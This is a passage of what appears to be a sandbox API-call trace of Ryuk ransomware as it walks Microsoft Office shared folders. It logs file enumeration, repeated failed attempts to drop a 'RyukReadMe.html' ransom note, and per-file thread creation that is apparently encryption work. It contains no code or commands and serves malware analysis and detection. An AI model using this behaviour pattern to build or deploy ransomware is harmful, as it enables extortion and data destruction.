	[0166.105] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 0
	[0166.105] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0166.105] SetLastError (dwErrCode=0x0) 
	[0166.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.106] GetLastError () returned 0x5
	[0166.106] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0166.106] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.106] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1
	[0166.106] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1
	[0166.106] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1
	[0166.106] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1
	[0166.106] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x7c, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1
	[0166.107] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x7c, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1
	[0166.107] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x7c, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1
	[0166.107] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x7c, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1
	[0166.107] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1
	[0166.107] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x7c, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1
	[0166.107] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1
	[0166.107] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0
	[0166.107] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0166.107] SetLastError (dwErrCode=0x0) 
	[0166.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.108] GetLastError () returned 0x5
	[0166.108] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0166.108] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.108] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1
	[0166.108] SetLastError (dwErrCode=0x0) 
	[0166.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.109] GetLastError () returned 0x5
	[0166.109] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0166.109] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.109] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0166.112] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.112] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1
	[0166.112] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1
	[0166.112] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x7c, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="OSPPOB~1.XRM")) returned 1
	[0166.112] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x458
	[0166.187] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.188] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1
	[0166.188] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1
	[0166.188] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1
	[0166.188] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1
	[0166.188] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1
	[0166.188] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x378
	[0166.191] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.191] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0
	[0166.191] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0166.194] SetLastError (dwErrCode=0x0) 
	[0166.194] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.205] GetLastError () returned 0x5
	[0166.205] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0166.206] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.206] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1
	[0166.206] SetLastError (dwErrCode=0x0) 
	[0166.206] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.206] GetLastError () returned 0x5
	[0166.206] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0166.206] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.207] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0166.208] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.208] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1
	[0166.209] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1
	[0166.209] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.210] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x500
	[0166.211] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.212] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1
	[0166.212] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504
	[0166.215] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.216] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1
	[0166.216] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508
	[0166.219] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.219] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0
	[0166.220] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0166.220] SetLastError (dwErrCode=0x0) 
	[0166.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.220] GetLastError () returned 0x5
	[0166.220] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0166.220] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.221] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1
	[0166.221] SetLastError (dwErrCode=0x0) 
